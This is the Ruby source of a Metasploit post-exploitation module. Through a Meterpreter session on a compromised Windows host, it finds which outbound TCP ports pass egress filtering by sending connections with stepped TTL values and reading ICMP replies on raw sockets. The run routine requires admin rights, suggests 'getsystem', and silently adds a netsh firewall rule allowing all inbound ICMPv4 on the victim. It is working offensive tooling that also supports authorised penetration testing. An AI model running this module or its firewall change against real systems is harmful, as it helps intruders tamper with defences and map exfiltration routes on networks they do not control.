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# -*- coding: binary -*-
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  include Msf::Post::Windows::Priv
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Windows Outbound-Filtering Rules',
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        'Description' => %q{
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          This module makes some kind of TCP traceroute to get outbound-filtering rules.
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          It will try to make a TCP connection to a certain public IP address (this IP
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          does not need to be under your control) using different TTL incremental values.
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          This way if you get an answer (ICMP TTL time exceeded packet) from a public IP
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          device you can infer that the destination port is allowed. Setting STOP to
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          true the module will stop as soon as you reach a public IP (this will generate
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          less noise in the network).
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        },
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        'License' => MSF_LICENSE,
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        'Author' => 'Borja Merino <bmerinofe[at]gmail.com>',
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        'Platform' => 'win',
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        'SessionTypes' => ['meterpreter'],
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        'References' => [
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          ['URL', 'http://www.shelliscoming.com/2014/11/getting-outbound-filtering-rules-by.html']
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        ],
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        'Compat' => {
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          'Meterpreter' => {
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            'Commands' => %w[
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              stdapi_railgun_api
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            ]
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          }
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        }
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      )
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    )
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    register_options(
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      [
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        OptAddress.new('ADDRESS', [ true, 'Destination IP address.']),
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        OptInt.new('HOPS', [true, 'Number of hops to get.', 3]),
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        OptInt.new('MIN_TTL', [true, 'Starting TTL value.', 1]),
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        OptString.new('PORTS', [true, 'Ports to test (e.g. 80,443,100-110).', '80,443']),
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        OptInt.new('TIMEOUT', [true, 'Timeout for the ICMP socket.', 3]),
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        OptBool.new('STOP', [true, 'Stop when it finds a public IP.', true])
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      ]
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    )
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  end
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  def icmp_setup
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    handler = client.railgun.ws2_32.socket('AF_INET', 'SOCK_RAW', 'IPPROTO_ICMP')
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    if handler['GetLastError'] == 0
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      vprint_good('ICMP raw socket created successfully')
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    else
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      print_error("There was an error setting the ICMP raw socket; GetLastError: #{handler['GetLastError']}")
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      return nil
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    end
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    r = client.railgun.ws2_32.bind(handler['return'], "\x02\x00\x00\x00" << Rex::Socket.addr_aton(session.session_host) << "\x00" * 8, 16)
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    if r['GetLastError'] == 0
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      vprint_good("ICMP socket successfully bound to #{session.session_host}")
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    else
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      print_error("There was an error binding the ICMP socket to #{session.session_host}; GetLastError: #{r['GetLastError']}")
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      return nil
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    end
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    # int WSAIoctl(
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    # _In_   SOCKET s,
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    # _In_   DWORD dwIoControlCode,
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    # _In_   LPVOID lpvInBuffer,
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    # _In_   DWORD cbInBuffer,
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    # _Out_  LPVOID lpvOutBuffer,
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    # _In_   DWORD cbOutBuffer,
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    # _Out_  LPDWORD lpcbBytesReturned,
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    # _In_   LPWSAOVERLAPPED lpOverlapped,
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    # _In_   LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
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    # );
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    sio_rcvall = 0x98000001
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    r = client.railgun.ws2_32.WSAIoctl(handler['return'], sio_rcvall, "\x01", 4, nil, 0, 4, nil, nil)
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    if r['GetLastError'] == 0
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      return handler['return']
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    else
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      print_error("There was an error calling WSAIoctl (ICMP raw socket); GetLastError: #{r['GetLastError']}")
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      return nil
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    end
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  end
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  def tcp_setup(ttl)
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    handler = client.railgun.ws2_32.socket('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP')
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    if handler['GetLastError'] == 0
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      vprint_status('TCP socket created successfully')
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    else
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      print_error("There was an error setting the TCP socket; GetLastError: #{handler['GetLastError']}")
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      return nil
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    end
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    # 0x8004667E = FIONBIO
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    # Enable non-blocking mode when *argp (third parameter in ioctlsocket) is set to a nonzero value
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    cmd = 0x8004667E
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    r = client.railgun.ws2_32.ioctlsocket(handler['return'], cmd, 1)
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    if r['GetLastError'] == 0
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      vprint_status('TCP socket successfully configured in non-blocking mode')
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    else
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      print_error("There was an error setting the TCP socket in non-blocking mode; GetLastError: #{r['GetLastError']}")
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      return nil
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    end
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    # int setsockopt(
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    # _In_  SOCKET s,
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    # _In_  int level,
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    # _In_  int optname,
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    # _In_  const char *optval,
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    # _In_  int optlen
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    # );
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    ipproto_ip = 0
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    ip_ttl = 4
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    r = client.railgun.ws2_32.setsockopt(handler['return'], ipproto_ip, ip_ttl, [ttl].pack('C'), 4)
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    if r['GetLastError'] == 0
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      vprint_status("TTL value successfully set to #{ttl}")
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      return handler['return']
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    else
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      print_error("There was an error setting the TTL value; GetLastError: #{r['GetLastError']}")
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      return nil
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    end
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  end
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  def connections(remote, dst_port, h_icmp, h_tcp, to)
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    sock_addr = "\x02\x00"
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    sock_addr << [dst_port].pack('n')
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    sock_addr << Rex::Socket.addr_aton(remote)
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    sock_addr << "\x00" * 8
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    r = client.railgun.ws2_32.connect(h_tcp, sock_addr, 16)
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    # A GetLastError == 1035 is expected since the socket is set to non-blocking mode
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    unless r['GetLastError'] == 10035
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      print_error("There was an error creating the connection to the peer #{remote}; GetLastError: #{r['GetLastError']}")
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      return
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    end
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    from = ' ' * 16
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    begin
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      ::Timeout.timeout(to) do
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        r = client.railgun.ws2_32.recvfrom(h_icmp, "\x00" * 100, 100, 0, from, 16)
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        hop = Rex::Socket.addr_ntoa(r['from'][4..7])
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        return hop
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      end
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    rescue ::Timeout::Error
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      return nil
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    end
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  end
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  def run
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    unless is_admin?
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      print_error("You don't have enough privileges. Try getsystem.")
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      return
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    end
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    version = get_version_info
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    if version.xp_or_2003?
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      print_error('Windows XP/Server 2003 is not supported')
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      return
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    end
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    output = cmd_exec('netsh', ' advfirewall firewall add rule name="All ICMP v4" dir=in action=allow protocol=icmpv4:any,any')
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    print_status("ICMP firewall IN rule established: #{output}")
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    session.railgun.ws2_32
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    remote = datastore['ADDRESS']
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    to = datastore['TIMEOUT']
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    ports = Rex::Socket.portspec_crack(datastore['PORTS'])
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    ports.each do |dport|
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      pub_ip = false
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      print_status("Testing port #{dport}...")
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      0.upto(datastore['HOPS'] - 1) do |i|
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        i += datastore['MIN_TTL']
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        h_icmp = icmp_setup
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        return if h_icmp.nil?
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        h_tcp = tcp_setup(i)
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        return if h_tcp.nil?
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        hop = connections(remote, dport, h_icmp, h_tcp, to)
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        if hop.nil?
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          print_error("#{i} *")
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        else
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          print_good("#{i} #{hop}")
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          unless Rex::Socket.is_internal?(hop)
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            pub_ip = true
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            break if datastore['STOP']
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          end
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        end
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        client.railgun.ws2_32.closesocket(h_tcp)
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        client.railgun.ws2_32.closesocket(h_icmp)
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      end
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      print_good("Public IP reached. The TCP port #{dport} is not filtered") if pub_ip
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    end
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  end
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end
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